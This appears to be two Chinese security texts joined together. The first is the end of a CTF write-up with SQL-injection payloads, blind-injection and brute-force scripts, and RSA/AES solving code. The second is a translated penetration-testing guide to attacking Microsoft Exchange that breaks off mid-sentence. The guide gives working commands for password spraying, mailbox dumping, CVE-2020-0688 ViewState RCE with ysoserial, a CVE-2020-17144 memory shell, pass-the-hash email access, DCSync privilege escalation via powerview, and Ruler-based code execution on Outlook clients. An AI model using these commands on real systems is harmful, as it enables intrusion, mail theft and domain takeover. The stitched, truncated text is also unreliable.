"username" : payload.format(i,tmp),
"password" : "aaa"
}
data2 = {
"9.d":"on"
}
re = requests.session()
tt=re.post(register_url,data=data1)
re.post(login_url,data=data1)
res = re.post(answer_url,data2)
# print res.text
if "<script>alert('Your grades is 0');</script>" in res.text:
flag = flag+j
break
print "flag: "+flag
最后得到flag:
## SimpleServerInjection
题目提示是ssi注入，flag在当前目录下，百度一篇文章[安全脉搏](https://www.secpulse.com/archives/66934.html)就有payload:
修改文件名为flag即可
## SimpleExtensionExplorerInjection
题目提示XXE flag在根目录下
抓个包
修改connntent-type 和post内容即可得到flag
## SimplePrintEventLogger
看题目环境是和上一题一样，感觉完全可以用上一题方法做
读一下根目录有什么文件
发现了 flagvvvvvaaaagegsgag2333 文件
读一下
## SimpleBBS
这个题当时卡了一下，因为当时只是在验证了在注册的时候的注入，但是服务器在注册脚本中写了过滤单引号之类的，一直无法绕过，最后尝试了一下登陆的注入，发现竟然没有过滤，然后报错注入得到结果。
payload:
admin'union select (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables),0x7e)))#
发现只爆出了flag的一部分
然后substr得到后面的结果:
payload:
admin'union select (updatexml(1,concat(0x7e,substr((select flag from flag),28,50),0x7e),1))#
# RE(队友解出)
## re1
输入flag后进入sub_400647（）进行校验
进去先异或解密函数
然后进去之后又会发现里面还有解密函数，受不了了，开始动态调，并且在flag下断点
接着就运行到读取flag的地方了，这是对flag的第一个字符进行处理计算，格式类似于
v0 = 101 * flag[6] + 101 * flag[6] * flag[6] + 13 * flag[6] * flag[6] * flag[6] + 25
if ( v0 == 22215400 ):
然后还有比较验证，这里写脚本跑。
for i in range(0x20,0x7f):
tmp = i
v0 = 34 * tmp + 3 * tmp * tmp + 120 * tmp * tmp * tmp + 12
if v0 == 39437721:
print chr(i)
break
后面都是重复同样的解密一段代码，然后对flag的一个字符进行判断，满足条件则对下一个字符进行验证，如此反复
解密的脚本如下：
start = 0x419DD4
end = 0x419F85
for i in range(end - start):
byte = get_byte(start+i)
p_byte = byte ^ 0x13
patch_byte(start+i,p_byte)
重复了52次总算是到了最后一个验证函数了（出题人真狠）
对52个字符进行逐位爆破，得到最终的flag，部分脚本如下（总共300多行··…….）：
for flag[47] in range(0x20, 0x7f):
v0 = 50 * flag[47] + 22 * flag[47] * flag[47] + 55 * flag[47] * flag[47] * flag[47] + 41
if ( v0 == 83944866 ):
flag[47] = chr(flag[47])
break
for flag[48] in range(0x20, 0x7f):
v0 = 77 * flag[48] + 42 * flag[48] * flag[48] + 119 * flag[48] * flag[48] * flag[48] + 110
if ( v0 == 134321206 ):
flag[48] = chr(flag[48])
break
for flag[49] in range(0x20, 0x7f):
v0 = 91 * flag[49] + 38 * flag[49] * flag[49] + 126 * flag[49] * flag[49] * flag[49] + 64
if ( v0 == 146289319 ):
flag[49] = chr(flag[49])
break
for flag[50] in range(0x20, 0x7f):
v0 = 113 * flag[50] + 113 * flag[50] * flag[50] + 119 * flag[50] * flag[50] * flag[50] + 22
if ( v0 == 168616582 ):
flag[50] = chr(flag[50])
break
for flag[51] in range(0x20, 0x7f):
v0 = 24 * flag[51] + 88 * flag[51] * flag[51] + 98 * flag[51] * flag[51] * flag[51] + 30
if ( v0 == 192784280 ):
flag[51] = chr(flag[51])
break
# for flag[52] in range(0x20, 0x7f):
# v0 = 96 * flag[52] + 12 * flag[52] * flag[52] + 74 * flag[52] * flag[52] * flag[52] + 104
# if (v0 == 104):
# flag[52] = chr(flag[52])
# break
flag = ''.join(flag)
print("flag= "+flag)
最后得到的flag：
EIS{you_should_go_for_nascondino_world_championship}
## Tailbone
这里本来想修改为Intel的另一条指令aesdec，没想到兜了好大的圈子。
我们可以看到对于单轮运算，使用aesdec是逆不过来的。
所以我们必须对于每一步运算进行如下运算
xor_key
inv_mix_columns
inv_shift_rows
inv_sub_bytes
参考github上AES的实现，写出如下脚本:
import binascii
inv_s_box = (
0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB,
0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB,
0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E,
0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25,
0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92,
0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84,
0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06,
0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B,
0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73,
0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E,
0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B,
0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4,
0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F,
0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF,
0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61,
0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D,
)
def inv_sub_bytes(s):
for i in range(4):
for j in range(4):
s[i][j] = inv_s_box[s[i][j]]
def add_round_key(s, k):
for i in range(4):
for j in range(4):
s[i][j] ^= k[i][j]
def inv_shift_rows(s):
s[0][1], s[1][1], s[2][1], s[3][1] = s[3][1], s[0][1], s[1][1], s[2][1]
s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2]
s[0][3], s[1][3], s[2][3], s[3][3] = s[1][3], s[2][3], s[3][3], s[0][3]
xtime = lambda a: (((a << 1) ^ 0x1B) & 0xFF) if (a & 0x80) else (a << 1)
def mix_single_column(a):
# see Sec 4.1.2 in The Design of Rijndael
t = a[0] ^ a[1] ^ a[2] ^ a[3]
u = a[0]
a[0] ^= t ^ xtime(a[0] ^ a[1])
a[1] ^= t ^ xtime(a[1] ^ a[2])
a[2] ^= t ^ xtime(a[2] ^ a[3])
a[3] ^= t ^ xtime(a[3] ^ u)
def mix_columns(s):
for i in range(4):
mix_single_column(s[i])
def inv_mix_columns(s):
# see Sec 4.1.3 in The Design of Rijndael
for i in range(4):
u = xtime(xtime(s[i][0] ^ s[i][2]))
v = xtime(xtime(s[i][1] ^ s[i][3]))
s[i][0] ^= u
s[i][1] ^= v
s[i][2] ^= u
s[i][3] ^= v
mix_columns(s)
def bytes2matrix(text):
""" Converts a 16-byte array into a 4x4 matrix. """
return [list(text[i:i+4]) for i in range(0, len(text), 4)]
def matrix2bytes(matrix):
""" Converts a 4x4 matrix into a 16-byte array. """
return bytes(sum(matrix, []))
def decrypt_block(ciphertext,key):
cipher_state = bytes2matrix(ciphertext)
key = bytes2matrix(key)
add_round_key(cipher_state, key)
inv_mix_columns(cipher_state)
inv_shift_rows(cipher_state)
inv_sub_bytes(cipher_state)
return matrix2bytes(cipher_state)
datas = ['D1E8FCB9AC4BDF4948BA54E26A282F9A', '7AEB61B0A637139CD0DCE7DBDB0636F7']
keys = ['31ED4989D15E4889E24883E4F0505449', 'C7C00007400048C7C19006400048C7C7', '48064000E8A7FFFFFFF4660F1F440000', 'B85710600055482D501060004883F80E', '4889E5761BB8000000004885C074115D', 'BF50106000FFE0660F1F840000000000', '5DC30F1F4000662E0F1F840000000000', 'BE50106000554881EE5010600048C1FE', '034889E54889F048C1E83F4801C648D1']
if __name__ == "__main__":
flag = ''
for i in range(2):
ciphertext = binascii.unhexlify(datas[i])
for j in range(3,-1,-1):
key = binascii.unhexlify(keys[j+4*i])
ciphertext = decrypt_block(ciphertext,key)
flag += ciphertext.decode("utf-8")
print(flag)
# crypto(队友解出)
## AzureRSA
这个题比较坑，最初的时候发现n1和n2有公因数，想和可以直接得到了p和q，然后得到(p-1)*(q-1),e一直，直接求d解密就好了，人生从此迈入顶峰……但是求出p和q之后发现e与φ(n)不互素，无法求d。题目详情：
n1=0xcfc59d54b4b2e9ab1b5d90920ae88f430d39fee60d18dddbc623d15aae645e4e50db1c07a02d472b2eebb075a547618e1154a15b1657fbf66ed7e714d23ac70bdfba4c809bbb1e27687163cb09258a07ab2533568192e29a3b8e31a5de886050b28b3ed58e81952487714dd7ae012708db30eaf007620cdeb34f150836a4b723L
e1=0xfae3aL
c1=0x81523a330fb15125b6184e4461dadac7601340960840c5213b67a788c84aecfcdc3caf0bf3e27e4c95bb3c154db7055376981972b1565c22c100c47f3fa1dd2994e56090067b4e66f1c3905f9f780145cdf8d0fea88a45bae5113da37c8879c9cdb8ee9a55892bac3bae11fbbabcba0626163d0e2e12c04d99f4eeba5071cbeaL
n2=0xd45304b186dc82e40bd387afc831c32a4c7ba514a64ae051b62f483f27951065a6a04a030d285bdc1cb457b24c2f8701f574094d46d8de37b5a6d55356d1d368b89e16fa71b6603bd037c7f329a3096ce903937bb0c4f112a678c88fd5d84016f745b8281aea8fd5bcc28b68c293e4ef4a62a62e478a8b6cd46f3da73fa34c63L
e2=0x1f9eaeL
c2=0x4d7ceaadf5e662ab2e0149a8d18a4777b4cd4a7712ab825cf913206c325e6abb88954ebc37b2bda19aed16c5938ac43f43966e96a86913129e38c853ecd4ebc89e806f823ffb802e3ddef0ac6c5ba078d3983393a91cd7a1b59660d47d2045c03ff529c341f3ed994235a68c57f8195f75d61fc8cac37e936d9a6b75c4bd2347L
assert pow(flag,e1,n1)==c1
assert pow(flag,e2,n2)==c2
assert gcd(e1,(p1-1)*(q1-1))==14
assert gcd(e2,(p2-1)*(q2-1))==14
遇到这种情况也还好，之前遇到过e与φ(n)不互素，且公因数是8的情况，但是用当时的脚本跑并没有跑出来，因为当时的那个数开8次方之后还是证书，但是这一次……开14次方开不出来，所以当时的脚本作废了。附上当时的脚本，说不定以后也能用上呢。
#-*- coding:utf-8 -*- # 当指数e和Phi(n)不互素时
from Crypto.Util.number import *
import sympy
def gcd(a,b):
if a < b:
a,b = b,a
while b != 0:
tem = a % b
a = b
b = tem
return a
def invalidExponent(p,q,e,c):
phiN = (p - 1) * (q - 1)
n = p * q
GCD = gcd(e, phiN)
if (GCD == 1):
return "Public exponent is valid....."
d = inverse(e//GCD,phiN)
c = pow(c, d, n)
plaintext = sympy.root(c, GCD)
plaintext = long_to_bytes(plaintext)
return plaintext
def main():
p = xxx
q = xxx
e = xxx
c = xxx
plaintext = invalidExponent(p,q,e,c)
print plaintext
main()
最后在比赛方提示了两次的情况下，比赛完几分钟队友做出来了。当时提示中国剩余定理，只尝试了q乘p1和q乘p2，但是没有尝试p1*p2(此情况可解出flag)附上队友risker大佬的脚本，以及[博客](http://mmmmmmlei.cn)：
结果：
脚本如下：
# -*- coding: utf-8 -*- import gmpy2
import libnum
def GCRT(mi, ai):
# mi,ai分别表示模数和取模后的值,都为列表结构
assert (isinstance(mi, list) and isinstance(ai, list))
curm, cura = mi[0], ai[0]
for (m, a) in zip(mi[1:], ai[1:]):
d = gmpy2.gcd(curm, m)
c = a - cura
assert (c % d == 0) #不成立则不存在解
K = c / d * gmpy2.invert(curm / d, m / d)
cura += curm * K
curm = curm * m / d
return (cura % curm, curm) #(解,最小公倍数)
n1=0xcfc59d54b4b2e9ab1b5d90920ae88f430d39fee60d18dddbc623d15aae645e4e50db1c07a02d472b2eebb075a547618e1154a15b1657fbf66ed7e714d23ac70bdfba4c809bbb1e27687163cb09258a07ab2533568192e29a3b8e31a5de886050b28b3ed58e81952487714dd7ae012708db30eaf007620cdeb34f150836a4b723L
e1=0xfae3aL
c1=0x81523a330fb15125b6184e4461dadac7601340960840c5213b67a788c84aecfcdc3caf0bf3e27e4c95bb3c154db7055376981972b1565c22c100c47f3fa1dd2994e56090067b4e66f1c3905f9f780145cdf8d0fea88a45bae5113da37c8879c9cdb8ee9a55892bac3bae11fbbabcba0626163d0e2e12c04d99f4eeba5071cbeaL
n2=0xd45304b186dc82e40bd387afc831c32a4c7ba514a64ae051b62f483f27951065a6a04a030d285bdc1cb457b24c2f8701f574094d46d8de37b5a6d55356d1d368b89e16fa71b6603bd037c7f329a3096ce903937bb0c4f112a678c88fd5d84016f745b8281aea8fd5bcc28b68c293e4ef4a62a62e478a8b6cd46f3da73fa34c63L
e2=0x1f9eaeL
c2=0x4d7ceaadf5e662ab2e0149a8d18a4777b4cd4a7712ab825cf913206c325e6abb88954ebc37b2bda19aed16c5938ac43f43966e96a86913129e38c853ecd4ebc89e806f823ffb802e3ddef0ac6c5ba078d3983393a91cd7a1b59660d47d2045c03ff529c341f3ed994235a68c57f8195f75d61fc8cac37e936d9a6b75c4bd2347L
p1=gmpy2.gcd(n1,n2)
q1=n1/p1
p2=p1
q2=n2/p2
d2=gmpy2.invert(e2/14,(p2-1)*(q2-1))
d1=gmpy2.invert(e1/14,(p1-1)*(q1-1))
m1=pow(c1,d1,n1)
m2=pow(c2,d2,n2)
assert pow(m1,e1/14,n1)==c1
assert pow(m2,e2/14,n2)==c2
y=GCRT([n1,n2],[m1,m2])
a=y[0]
e3=7
d3=gmpy2.invert(e3,(q1-1)*(q2-1))
print d3
print libnum.n2s(gmpy2.iroot(pow(a%(q1*q2),d3,q1*q2),2)[0])
# Misc
## GOGOGO
wireshark打开流量包，追踪一下发现有一个包里有PNG图片
保存为16进制，打开得到flag
## Checkin
题目很简单，二十轮的字符画识别，输入20轮即可拿flag,但是有时间限制，所以人眼识别一定来不及,图像识别，不会。
所以观察规律，每个字符画都是由固定的字符串组成,比如这个r和l
所以可以把每个字符的构成字符串单独提取出来，然后把所有可能（小写字母和数字）保存下来，然后返回对应结果即可，代码见py文件,然后打开pwntools的debug模式，最后一轮即可报错并弹出flag：
脚本如下：
from pwn import *
context.log_level = "debug"
sh = remote("210.32.4.14", 13373)
sh.recvuntil("...")
data = sh.recvuntil("your")
lines = data.split("\n")[:-1]
lines = lines[2:]
def check(char_array):
i = ""
for tmp in char_array:
i += tmp.strip()
if ".oooo.d8P'`Y8b888 888888 888888 888`88b d88'`Y8bd8P'" in i:
return "0"
if '''.oooo..dP""Y88b]8P'<88b.`88b.o. .88P`8bd88P''' in i:
return "3"
if ".oo888888888888888o888o" in i:
return "1"
if '''.oooo..dP""Y88b]8P'.d8P'.dP'.oP .o8888888888''' in i:
return "2"
if ".o.d88.d'888.d' 88888ooo888oo888o888o" in i:
return "4"
if '''oooooooodP"""""""d88888b.`Y88b]88o. .88P`8bd88P''' in i:
return "5"
if '''.ooo.88'd88'd888P"Ybo.Y88[ ]88`Y88 88P`88bod8''' in i:
return "6"
if '''oooooooood"""""""8'.8'.8'.8'.8'.8''' in i:
return "7"
if '''.ooooo.d88' `8.Y88.. .8'`88888b..8' ``88b`8. .88P`boood8''' in i:
return "8"
if ".ooooo.888' `Y88.888 888`Vbood888888'.88P'.oP'" in i:
return "9"
if '''.oooo.`P )88b.oP"888d8( 888`Y888""8o''' in i:
return "a"
if '''.o8"888888oooo.d88' `88b888 888888 888`Y8bod8P''' in i:
return "b"
if '''.ooooo.d88' `"Y8888888 .o8`Y8bod8P''' in i:
return "c"
if '''.o8"888.oooo888d88' `888888 888888 888`Y8bod88P"''' in i:
return "d"
if ".ooooo.d88' `88b888ooo888888 .o`Y8bod8P'" in i:
return "e"
if '.o88o.888 `"o888oo888888888o888o' in i:
return "f"
if '''.oooooooo888' `88b888 888`88bod8P'`8oooooo.d" YD"Y88888P''' in i:
return "g"
if '''oooo`888888 .oo.888P"Y88b888 888888 888o888o o888o''' in i:
return "h"
if '''o8o`"'oooo`888888888o888o''' in i:
return "i"
if '''o8o`"'oooo`888888888888888.o. 88P`Y888P''' in i:
return "j"
if '''oooo`888888 oooo888 .8P'888888.888 `88b.o888o o888o''' in i:
return "k"
if '''.ooooo.d88' `88b888 888888 888`Y8bod8P''' in i:
return "o"
if "oo.ooooo.888' `88b888 888888 888888bod8P'888o888o" in i:
return "p"
if '''.ooooo ood88' `888888 888888 888`V8bod888888.8P'"''' in i:
return "q"
if "oooo`888888888888888o888o" in i:
return "l"
if '''ooo. .oo. .oo.`888P"Y88bP"Y88b888 888 888888 888 888o888o o888o o888o''' in i:
return "m"
if '''ooo. .oo.`888P"Y88b888 888888 888o888o o888o''' in i:
return "n"
if '''oooo d8b`888""8P888888d888b''' in i:
return "r"
if '''.oooo.od88( "8`"Y88b.o. )88b8""888P''' in i:
return "s"
if '''..o8.o888oo888888888 ."888"''' in i:
return "t"
if '''oooo oooo`888 `888888 888888 888`V88V"V8P''' in i:
return "u"
if '''oooo ooo`88. .8'`88..8'`888'`8''' in i:
return "v"
if '''oooo oooo ooo`88. `88. .8'`88..]88..8'`888'`888'`8' `8''' in i:
return "w"
if '''oooo ooo`88b..8P'Y888'.o8"'88bo88' 888o''' in i:
return "x"
if "oooo ooo`88. .8'`88..8'`888'.8'.o..P'`Y8P'" in i:
return "y"
if '''ooooooood'""7d8P.d8P'.d8P' .Pd8888888P''' in i:
return "z"
def input(lines):
char1 = []
char2 = []
char3 = []
char4 = []
char5 = []
char6 = []
for line in lines:
char1.append(line[:18])
char2.append(line[18:36])
char3.append(line[36:54])
char4.append(line[54:72])
char5.append(line[72:90])
char6.append(line[90:108])
ans = ""
ans += check(char1)
ans += check(char2)
ans += check(char3)
ans += check(char4)
ans += check(char5)
ans += check(char6)
sh.recvuntil("captcha: ")
sh.sendline(ans)
#print lines
input(lines)
for i in range(20):
data = sh.recvuntil("your ")
lines = data.split("\n")[:-1]
input(lines) | 社区文章 |
# 渗透测试中的Exchange
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：daiker[@360Linton](https://github.com/360Linton "@360Linton")-Lab
## 0x00 前言
在渗透测试过程中,Exchange是一个比较奇妙的角色.
一方面,Exchange在外网分布很广,是外网打点人员进入内网的一个重要渠道.
另外一方面,Exchange在域内有着重要的地位,一般来说,拿到Exchange服务器的权限,基本等同于拿到域管的权限.因此他又是内网选手重点关注对象.
本文将总结部分Exchange已知的特性以及漏洞.
没有Exchange凭据的情况,主要有
1. 爆破
2. 泄露内网信息
3. 配合钓鱼进行NTLM_Relay
有Exchange凭据的情况下,主要有
1. 导出邮箱列表
2. Exchange RCE漏洞
3. Exchange SSRF 进行NTLM_Relay
4. 使用hash/密码 操作EWS接口
5. 攻击outlook客户端
6. 从Exchange到域管
以下详细说明
## 0x01 爆破
在外网,看到开着Exchange,出现如下界面,我们可能第一反应就是爆破.
出现上面那种还好,burp拦截下,爆破开始
但是在渗透过程中,经常出现以下这种情况
对于这种情况,我们无需绕过验证码即可进行爆破.
事实上,除了上面那个界面之外,以下接口都可进行爆破,而且支持Basic认证方式.
/ecp,/ews,/oab,/owa,/rpc,/api,/mapi,/powershell,/autodiscover,/Microsoft-Server-ActiveSync
这里推荐使用<https://github.com/grayddq/EBurst>这款工具,他能寻找可以爆破的接口,从而进行爆破
python EBurst.py -L users.txt -p 123456abc -d mail.xxx.com
有个需要注意的点就是这款工具不支持自签名证书,我们手动改下,忽略证书错误就行
## 0x02 泄露内网信息
### 1\. 泄露Exchange服务器内网IP 地址
把HTTP协议版本修改成1.0，然后去掉http头里面的HOST参数 或者使用msf
`auxiliary/scanner/http/owa_iis_internal_ip`
可用以匹配的接口列表有
/Microsoft-Server-ActiveSync/default.eas
/Microsoft-Server-ActiveSync
/Autodiscover/Autodiscover.xml
/Autodiscover
/Exchange
/Rpc
/EWS/Exchange.asmx
/EWS/Services.wsdl
/EWS
/ecp
/OAB
/OWA
/aspnet_client
/PowerShell
有两个坑点
* 如果测试的是文件夹,后面没加`/`,比如`/owa`,有些环境会重定向到`/owa/`,可能导致无法获取到IP
* msf的脚本里面限定了内网IP范围,如果企业是自定义的内网IP,可能无法获取到IP([代码](https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/owa_iis_internal_ip.rb#L79))
### 2\. 泄露Exchange服务器操作系统,主机名,Netbios名
由于支持ntlm认证,在文章[利用ntlm进行的信息收集](https://daiker.gitbook.io/windows-protocol/ntlm-pian/4#2-li-yong-ntlm-jin-hang-de-xin-xi-shou-ji)里面已经讲过
>
> 在type2返回Challenge的过程中，同时返回了操作系统类型，主机名，netbios名等等。这也就意味着如果我们给服务器发送一个type1的请求，服务器返回type2的响应，这一步，我们就可以得到很多信息。
因此我们可以获取很多信息了,这里使用nmap进行扫描
sudo nmap MAIL -p 443 --script http-ntlm-info --script-args http-ntlm-info.root=/rpc/rpcproxy.dll
## 0x03 导出邮箱列表
### 1\. 使用ruler
ruler_windows_amd64.exe --insecure --url https://MAIL/autodiscover/autodiscover.xml --email [email protected] -u daiker -p 密码 --verbose --debug abk dump -o list.txt
### 2\. 使用MailSniper.ps1
<https://github.com/dafthack/MailSniper/blob/master/MailSniper.ps1>
Get-GlobalAddressList -ExchHostname MAIL -UserName CORP\daiker -Password 密码 -OutFile global-address-list.txt
### 3\. 使用burp
登录exchange owa,右上角点击人员，左侧所有人员，抓包
一个POST类型的包
POST /owa/service.svc?action=FindPeople&ID=-34&AC=1
Body中有这个字段
默认是80
然后查看响应包，拉到最后
这个是总的邮箱数
然后把80 改成这个数，直接发，就是邮箱数，但是有点多,burp容易卡死。可以这样
右键copy as request(这一步需要装插件)
然后复制到python文件里面
后面的内容改下
本来最后一行是
requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
改成
r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
j = r.json()
results = j.get('Body').get('ResultSet')
import json
print(json.dumps(results))
然后运行python
python 1.py | jq '.[].EmailAddresses[0].EmailAddress' -r|sort|uniq|
这样就提取出所有的邮箱
### 4\. 使用impacket底下的exchanger.py
今年5月份刚更新的一个脚本
python exchanger.py DOMAIN/daiker:密码@MAIL nspi list-tables
python exchanger.py DOMAIN/daiker:密码@MAIL nspi dump-tables -guid xxxx
### 5\. 通过OAB
(1) 读取Autodiscover配置信息,获取OABUrl
POST /autodiscover/autodiscover.xml HTTP/1.1
Host: MAIL
Accept-Encoding: gzip, deflate
Accept: */*
Authorization: Basic YmllamllbGU=
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Connection: close
Content-Type: text/xml; charset=utf-8
Content-Length: 355
<?xml version="1.0" encoding="utf-8"?><Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request><EMailAddress>[email protected]</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request></Autodiscover>
(2) 读取OAB文件列表
`OABUrl/oab.xml`
(3) 下载lzx文件
`OABUrl/xx.lzx`
(4) 对lzx文件解码，还原出Default Global Address List
Kali下直接使用的版本下载地址：<http://x2100.icecube.wisc.edu/downloads/python/python2.6.Linux-x86_64.gcc-4.4.4/bin/oabextract>
./oabextract 67a0647b-8218-498c-91b4-311d4cabd00c-data-1315.lzx gal.oab
strings gal.oab|grep SMTP
## 0x04 RCE 漏洞
网上一搜Exchange的RCE漏洞还挺多的,但是在实际渗透中,只需要一个普通用户凭据,不需要其他条件的,主要有CVE-2020-0688和CVE-2020-17144
### CVE-2020-0688
在拿到一个普通用户凭据情况下的RCE,Exchange2010没有开箱即用的POC
静态的密钥有
validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
validationalg = SHA1
我们要构造ViewState还需要`viewstateuserkey`和`__VIEWSTATEGENERATOR`
`viewstateuserkey`就是用户的`ASP.NET_SessionId`，在cookie 底下
`__VIEWSTATEGENERATOR`是一个隐藏字段。可以这样获取
document.getElementById("__VIEWSTATEGENERATOR").value
现在我们已经有了`validationkey`,`validationalg`,`viewstateuserkey`,`__VIEWSTATEGENERATOR`。就可以用使用YSoSerial.net生成序列化后的恶意的ViewState数据。
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "ping dnslog.cn" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="{填入__VIEWSTATEGENERATOR}" --viewstateuserkey="{填入viewstateuserkey，也就是ASP.NET_SessionId}" --isdebug –islegacy
然后构造URL
/ecp/default.aspx?__VIEWSTATEGENERATOR={填入__VIEWSTATEGENERATOR}&__VIEWSTATE={填入YSoSerial.net生成的urlencode 过的ViewState}
浏览器访问就行
也可以直接使用头像哥的工具
检测
ExchangeDetect <target> <user> <pass>
利用
ExchangeCmd <target> <user> <pass>
sub commands:
exec <cmd> [args]
exec command
arch
get remote process architecture(for shellcode)
shellcode <shellcode.bin>
run shellcode
exit
exit program
他的检测逻辑是在返回的头部加个信息
Headers["X-ZCG-TEST"]=="CVE-2020-0688"
不排除某些网络设备会检测这个,可根据需求自行修改
另外有个需要注意的点,如果在域内,`<target>`填邮箱域名(mail.xxx.com)检测不出来,可以先通过LDAP查询每台Exchange服务器,然后一台台试试,说不定有收获.
另外一个需要注意的点,执行命令的时候最好带上`cmd /c`
### CVE-2020-17144
需要普通用户凭据的情况下的RCE,就Exchange2010能用
<https://github.com/Airboi/CVE-2020-17144-EXP>
<https://github.com/zcgonvh/CVE-2020-17144>
CVE-2020-17144 <target> <user> <pass>
执行完之后会有个内存马,访问
http://[target]/ews/soap/?pass=命令
头像哥的这个工具有个地方需要注意的是,他默认监听的是80端口的,咱们访问EWS接口一般用443,就以为没打成功,实际成功了.
## 0x05 hash/密码 操作ews接口
可以使用现成工具
### 1\. pth_to_ews
<https://github.com/pentest-tools-public/Pass-to-hash-EWS>
保存在目录下的inbox文件夹中为eml格式
pth_to_ews.exe https://MAIL/ews/exchange.asmx -U daiker -P 密码 -MType Inbox
发送邮件
pth_to_ews.exe https://MAIL/ews/exchange.asmx -U daiker -P 密码 -Sendmail -T "123" -TM [email protected] -B HTML.txt
搜索邮件内容含有ACL的邮件
pth_to_ews.exe https://MAIL/ews/exchange.asmx -U daiker -P 密码 -MType SentItems -Filterstring "ACL" 搜索ACL
如果有自己研发的需求,见3好学生的Exchange Web Service(EWS)开发指南
## 0x06 Exchange 在域内的位置
### 1\. 域内定位Exchange服务器
在域内可以使用ldap定位,过滤规则
"(objectCategory=msExchExchangeServer)"
可以通过spn 来定位
setspn -Q IMAP/*
### 2\. Exchange内部的域管凭据
拿到Exchange服务器,有很大概率就是域管直接登录的.或者域管曾经登录过.拿到Exchange服务器权限的时候,可以尝试直接dir下域控的C盘,看有没有权限.如果没有权限,再尝试使用mimikatz抓一波密码，很大概率可以直接抓到域管或者高权限用户.而且就算是高版本的server,在Exchange上也能抓到明文密码.
### 3\. Exchange的ACL
所有的Exchange Server 都在`Exchange Windows
Permissions`组里面,而这个组默认就对域有WriteACL权限,那么当我们拿下Exchange服务器的时候,就可以尝试使用WriteACL赋予自身Dcsync的权限.
使用powerview，为当前exchange机器名用户增加dcsync权限(此处需要使用dev分枝中的powerview)
powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1; Add-DomainObjectAcl -TargetIdentity ’DC=test,DC=local‘ -PrincipalIdentity exchange2016$ -Rights DCSync -Verbose}"
由于这个权限,Exchange 的RCE常用以在内网渗透中用来提升到域管权限.
因此在CVE-2019-1040中,除了可以攻击DC,也有人选择攻击Exchange.
## 0x07 攻击 OutLook客户端
前提条件:
1. 需要用户凭据
2. 该用户电脑装了Oulook客户端,用outlook查看邮件的时候触发.
攻击效果
通过Outlook客户端控制用户电脑
有三种方式 Form,ruler,HomePage.
### 1\. Form
[Ruler](https://github.com/sensepost/ruler)
form
ruler_windows_amd64.exe --insecure --url https://MAIL/autodiscover/autodiscover.xml --email [email protected] -u daiker -p 密码 --verbose --debug form display
ruler_windows_amd64.exe --insecure --url https://MAIL/autodiscover/autodiscover.xml --email [email protected] -u daiker -p 密码 --verbose --debug form add --suffix superduper --input C:\Users\tom\Desktop\output\command.txt --rule --send
command.txt 里面的内容是
CreateObject("Wscript.Shell").Run "calc.exe", 0, False
触发
